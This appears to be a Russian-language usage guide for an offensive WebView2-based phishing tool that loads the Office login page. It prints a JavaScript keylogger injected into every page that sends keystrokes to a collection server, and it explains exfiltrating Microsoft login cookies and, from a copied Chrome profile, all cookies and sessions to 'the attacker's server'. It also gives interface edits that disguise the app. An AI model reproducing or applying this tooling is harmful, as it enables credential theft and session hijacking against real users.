Инструкция по использованию атаки с использованием WebView2
Использование
Протестировано в Windows 10 и 11.
При выполнении загружается двоичный файл https://office.com/login. На каждую страницу внедряется кейлоггер JavaScript, и нажатия клавиш отправляются на http://127.0.0.1:8080. Кроме того, после успешной аутентификации пользователя файлы cookie для login.microsoftonline.com кодируются в base64 и отправляются http://127.0.0.1:8080 через HTTP GET-запрос.
Изменение JavaScript
Если вы хотите изменить JavaScript, код, который необходимо изменить, показан ниже на line 1096 в AppWindow.cpp.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
Кража файлов cookie Chrome
WebView2 позволяет запускать с существующей папкой пользовательских данных (UDF), а не создавать новую. UDF содержит все пароли, сеансы, закладки и т.д. UDF Chrome находится по адресу C:\Users\<username>\AppData\Local\Google\Chrome\User Data. Мы можем просто указать WebView2 запустить инстанс с использованием этого профиля и при запуске извлечь все файлы cookie и передать их на сервер злоумышленника.
Единственная загвоздка в том, что WebView2 ищет папку с именем EBWebView вместо User Data (не уверен почему). Скопируйте User Data папку и переименуйте ее в EBWebView.
Необходимые изменения
- На
line 41вapp.cpp: - Изменить
std::wstring userDataFolder(L"");наstd::wstring userDataFolder(L"C:\\Path\\To\\Temp"); - Указанная папка должна содержать
EBWebViewпапку, из которой WebView2 будет выполнять чтение. - На
line 40вScenarioCookieManagement.cpp: - Изменить
GetCookiesHelper(L"https://login.microsoftonline.com");наGetCookiesHelper(L"");
Когда GetCookiesHelper вызывается без указания какого-либо веб-сайта, он извлекает все файлы cookie.
Примечание: Это не будет работать с текущим приложением, если имеется большое количество файлов cookie, потому что приложение отправляет их с помощью запроса GET, длина которого ограничена.
Важные функции
Если вы хотите внести изменения в двоичный файл, вы найдете информацию о важных функциях ниже.
- AppStartPage.cpp -
GetUri()функция имеет URL-адрес, который загружается при двоичном выполнении. - ScenarioCookieManagement.cpp -
SendCookies()функция содержит IP-адрес и порт, на который отправляются файлы cookie. - AppWindow.cpp -
CallCookieFunction()функция ожидает, пока URL-адрес не начнется сhttps://www.office.com/?auth=и вызываетScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com") - WebView2APISample.rc - Косметические измененияУдалите строку меню, установив для всех
POPUPзначений значение"". - Измените
IDS_APP_TITLEиIDC_WEBVIEW2APISAMPLE. Это название приложения в строке заголовка. - Измените
IDI_WEBVIEW2APISAMPLEиIDI_WEBVIEW2APISAMPLE_INPRIVATEиIDI_SMALL. Они указывают на.icoфайл, который является значком для этого приложения. - Toolbar.cpp -
itemHeightдолжно быть установлено значение 0, чтобы удалить верхнее меню. Об этом уже позаботились в этом коде. - AppWindow.cpp -
LoadImage()должно быть закомментировано. Это скрывает синюю заставку. Об этом уже позаботились в этом коде. - App.cpp -
new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false);измените последнее значение параметра наtrue. При этом панель инструментов будет скрыта. Об этом уже позаботились в этом коде.